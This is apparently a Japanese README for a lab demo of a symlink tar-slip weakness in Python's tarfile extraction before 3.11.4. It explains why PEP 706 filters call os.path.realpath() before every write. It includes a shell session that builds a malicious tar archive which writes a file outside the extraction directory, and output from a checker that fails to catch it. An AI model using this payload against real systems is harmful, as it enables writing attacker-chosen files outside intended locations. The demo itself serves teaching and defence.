
これは、python v3.11.4 より前の python における tar ファイル展開のデフォルト処理が、単純なシンボリックリンク攻撃に対して脆弱であることを示すデモです。以下の手順は、悪意のあるペイロードを作成する方法を説明しています。untar.py スクリプトは、3.11.4 で追加された機能がどのように、そしてなぜ機能するのかを示しています。具体的には、すべてのファイルの書き込みの前に os.path.realpath() のようなものを呼び出す必要性です。このスクリプトは、python >= 3.11.4 に含まれる extraction filter 機能とまったく同じ検査方法を使用していますが、ファイルをディスクに書き込まない点が異なります。これにより、os.path.realpath() がシンボリックリンクを適切に解決できず、tar メンバーが意図したファイルシステムの場所の外に書き込まれる可能性があることを示しています。
サンドボックスと悪意のある tar ファイルをセットアップするための手順(このファイル)
python tarfile ライブラリにおける拡張 tar 検証の最近の実装の背景にある「なぜ」を示す python スクリプト untar.py。os.path.realpath() の動作により、シンボリックリンクがすでにファイルシステム上に存在しない限り、それを頼りにシンボリックリンクを解決することはできません。つまり、アーカイブを展開する前に tar メンバーのパスを検査するために os.path.realpath() だけに依存することはできません。代わりに、悪意のあるリンク活動を確実に検出するために、アーカイブ内のすべてのメンバーについて、すべての書き込みの前に os.path.realpath() を呼び出す必要があります。詳細については、PEP-706 および tarfile doc を参照してください。
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
このリポジトリから untar.py をダウンロードし、./lab ディレクトリに置きます
スクリプトを実行します。悪意のあるシンボリックリンクがまだターゲットファイルシステムに書き込まれていない場合、os.path.realpath() をだますのがいかに簡単かに注目してください。
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-